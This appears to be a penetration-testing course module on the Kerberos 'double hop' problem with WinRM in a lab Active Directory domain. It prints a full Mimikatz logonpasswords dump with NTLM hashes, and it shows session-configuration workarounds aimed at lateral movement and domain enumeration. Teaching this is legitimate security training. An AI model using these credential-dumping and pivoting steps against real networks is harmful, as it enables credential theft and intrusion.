There's an issue known as the "Double Hop" problem that arises when an attacker attempts to use Kerberos authentication across two (or more) hops. The issue concerns how Kerberos tickets are granted for specific resources. Kerberos tickets should not be viewed as passwords. They are signed pieces of data from the KDC that state what resources an account can access. When we perform Kerberos authentication, we get a "ticket" that permits us to access the requested resource (i.e., a single machine). On the contrary, when we use a password to authenticate, that NTLM hash is stored in our session and can be used elsewhere without issue.
Background
The "Double Hop" problem often occurs when using WinRM/Powershell since the default authentication mechanism only provides a ticket to access a specific resource. This will likely cause issues when trying to perform lateral movement or even access file shares from the remote shell. In this situation, the user account being used has the rights to perform an action but is denied access. The most common way to get shells is by attacking an application on the target host or using credentials and a tool such as PSExec. In both of these scenarios, the initial authentication was likely performed over SMB or LDAP, which means the user's NTLM Hash would be stored in memory. Sometimes we have a set of credentials and are restricted to a particular method of authentication, such as WinRM, or would prefer to use WinRM for any number of reasons.
The crux of the issue is that when using WinRM to authenticate over two or more connections, the user's password is never cached as part of their login. If we use Mimikatz to look at the session, we'll see that all credentials are blank. As stated previously, when we use Kerberos to establish a remote session, we are not using a password for authentication. When password authentication is used, with PSExec, for example, that NTLM hash is stored in the session, so when we go to access another resource, the machine can pull the hash from memory and authenticate us.
Let's take a quick look. If we authenticate to the remote host via WinRM and then run Mimikatz, we don't see credentials for the backupadm user in memory.
PS C:\htb> PS C:\Users\ben.INLANEFREIGHT> Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm
[DEV01]: PS C:\Users\backupadm\Documents> cd 'C:\Users\Public\'
[DEV01]: PS C:\Users\Public> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 45177 (00000000:0000b079)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :
Authentication Id : 0 ; 1284107 (00000000:0013980b)
Session : Interactive from 1
User Name : srvadmin
Domain : INLANEFREIGHT
Logon Server : DC01
Logon Time : 6/28/2022 3:46:05 PM
SID : S-1-5-21-1666128402-2659679066-1433032234-1107
msv :
[00000003] Primary
* Username : srvadmin
* Domain : INLANEFREIGHT
* NTLM : cf3a5525ee9414229e66279623ed5c58
* SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
* DPAPI : 64fa83034ef8a3a9b52c1861ac390bce
tspkg :
wdigest :
* Username : srvadmin
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : srvadmin
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 70669 (00000000:0001140d)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 6/28/2022 3:33:33 PM
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :
Authentication Id : 0 ; 45178 (00000000:0000b07a)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :
Authentication Id : 0 ; 44190 (00000000:0000ac9e)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID :
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : DEV01$
Domain : INLANEFREIGHT
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 1284140 (00000000:0013982c)
Session : Interactive from 1
User Name : srvadmin
Domain : INLANEFREIGHT
Logon Server : DC01
Logon Time : 6/28/2022 3:46:05 PM
SID : S-1-5-21-1666128402-2659679066-1433032234-1107
msv :
[00000003] Primary
* Username : srvadmin
* Domain : INLANEFREIGHT
* NTLM : cf3a5525ee9414229e66279623ed5c58
* SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
* DPAPI : 64fa83034ef8a3a9b52c1861ac390bce
tspkg :
wdigest :
* Username : srvadmin
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : srvadmin
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 70647 (00000000:000113f7)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 6/28/2022 3:33:33 PM
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
Authentication Id : 0 ; 996 (00000000:000003e4)
User Name : DEV01$
Domain : INLANEFREIGHT
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-20
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 6/28/2022 3:33:33 PM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
mimikatz(commandline) # exit
Bye!
There are indeed processes running in the context of the backupadm user, such as wsmprovhost.exe, which is the process that spawns when a Windows Remote PowerShell session is spawned.
In the simplest terms, in this situation, when we try to issue a multi-server command, our credentials will not be sent from the first machine to the second.
Let's say we have three hosts: Attack host --> DEV01 --> DC01. Our Attack Host is a Parrot box within the corporate network but not joined to the domain. We obtain a set of credentials for a domain user and find that they are part of the Remote Management Users group on DEV01. We want to use PowerView to enumerate the domain, which requires communication with the Domain Controller, DC01.
When we connect to DEV01 using a tool such as evil-winrm, we connect with network authentication, so our credentials are not stored in memory and, therefore, will not be present on the system to authenticate to other resources on behalf of our user. When we load a tool such as PowerView and attempt to query Active Directory, Kerberos has no way of telling the DC that our user can access resources in the domain. This happens because the user's Kerberos TGT (Ticket Granting Ticket) ticket is not sent to the remote session; therefore, the user has no way to prove their identity, and commands will no longer be run in this user's context. In other words, when authenticating to the target host, the user's ticket-granting service (TGS) ticket is sent to the remote service, which allows command execution, but the user's TGT ticket is not sent. When the user attempts to access subsequent resources in the domain, their TGT will not be present in the request, so the remote service will have no way to prove that the authentication attempt is valid, and we will be denied access to the remote service.
If unconstrained delegation is enabled on a server, it is likely we won't face the "Double Hop" problem. In this scenario, when a user sends their TGS ticket to access the target server, their TGT ticket will be sent along with the request. The target server now has the user's TGT ticket in memory and can use it to request a TGS ticket on their behalf on the next host they are attempting to access. In other words, the account's TGT ticket is cached, which has the ability to sign TGS tickets and grant remote access. Generally speaking, if you land on a box with unconstrained delegation, you already won and aren't worrying about this anyways.
Workarounds
A few workarounds for the double-hop issue are covered in this post. We can use a "nested" Invoke-Command to send credentials (after creating a PSCredential object) with every request, so if we try to authenticate from our attack host to host A and run commands on host B, we are permitted. We'll cover two methods in this section: the first being one that we can use if we are working with an evil-winrm session and the second if we have GUI access to a Windows host (either an attack host in the network or a domain-joined host we have compromised.)
Workaround #1: PSCredential Object
We can also connect to the remote host via host A and set up a PSCredential object to pass our credentials again. Let's see that in action.
After connecting to a remote host with domain credentials, we import PowerView and then try to run a command. As seen below, we get an error because we cannot pass our authentication on to the Domain Controller to query for the SPN accounts.
If we RDP to the same host, open a CMD prompt, and type klist, we'll see that we have the necessary tickets cached to interact directly with the Domain Controller, and we don't need to worry about the double hop problem. This is because our password is stored in memory, so it can be sent along with every request we make.
We've seen what we can do to overcome this problem when using a tool such as evil-winrm to connect to a host via WinRM. What if we're on a domain-joined host and can connect remotely to another using WinRM? Or we are working from a Windows attack host and connect to our target via WinRM using the Enter-PSSession cmdlet? Here we have another option to change our setup to be able to interact directly with the DC or other hosts/resources without having to set up a PSCredential object and include credentials along with every command (which may not be an option with some tools).
Let's start by first establishing a WinRM session on the remote host.
If we check for cached tickets using klist, we'll see that the same problem exists. Due to the double hop problem, we can only interact with resources in our current session but cannot access the DC directly using PowerView. We can see that our current TGS is good for accessing the HTTP service on the target since we connected over WinRM, which uses SOAP (Simple Object Access Protocol) requests in XML format to communicate over HTTP, so it makes sense.
PS C:\htb> Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm
WARNING: When RunAs is enabled in a Windows PowerShell session configuration, the Windows security model cannot enforce
a security boundary between different user sessions that are created by using this endpoint. Verify that the Windows
PowerShell runspace configuration is restricted to only the necessary set of cmdlets and capabilities.
WARNING: Register-PSSessionConfiguration may need to restart the WinRM service if a configuration using this name has
recently been unregistered, certain system data structures may still be cached. In that case, a restart of WinRM may be
required.
All WinRM sessions connected to Windows PowerShell session configurations, such as Microsoft.PowerShell and session
configurations that are created with the Register-PSSessionConfiguration cmdlet, are disconnected.
WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Plugin
Type Keys Name
---- ---- ----
Container {Name=backupadmsess} backupadmsess
Once this is done, we need to restart the WinRM service by typing Restart-Service WinRM in our current PSSession. This will kick us out, so we'll start a new PSSession using the named registered session we set up previously.
After we start the session, we can see that the double hop problem has been eliminated, and if we type klist, we'll have the cached tickets necessary to reach the Domain Controller. This works because our local machine will now impersonate the remote machine in the context of the backupadm user and all requests from our local machine will be sent directly to the Domain Controller.
Note: We cannot use Register-PSSessionConfiguration from an evil-winrm shell because we won't be able to get the credentials popup. Furthermore, if we try to run this by first setting up a PSCredential object and then attempting to run the command by passing credentials like -RunAsCredential $Cred, we will get an error because we can only use RunAs from an elevated PowerShell terminal. Therefore, this method will not work via an evil-winrm session as it requires GUI access and a proper PowerShell console. Furthermore, in our testing, we could not get this method to work from PowerShell on a Parrot or Ubuntu attack host due to certain limitations on how PowerShell on Linux works with Kerberos credentials. This method is still highly effective if we are testing from a Windows attack host and have a set of credentials or compromise a host and can connect via RDP to use it as a "jump host" to mount further attacks against hosts in the environment. .
We can also use other methods such as CredSSP, port forwarding, or injecting into a process running in the context of a target user (sacrificial process) that we won't cover here.
Wrap Up
In this section, we've seen how to overcome the Kerberos "Double Hop" problem when working with WinRM in an AD environment. We will encounter this often during our assessments, so we must understand the issue and have certain tactics in our toolbox to avoid losing time.
The following section will cover other ways to escalate privileges and move laterally in a domain once we have valid credentials using various critical vulnerabilities identified throughout 2021.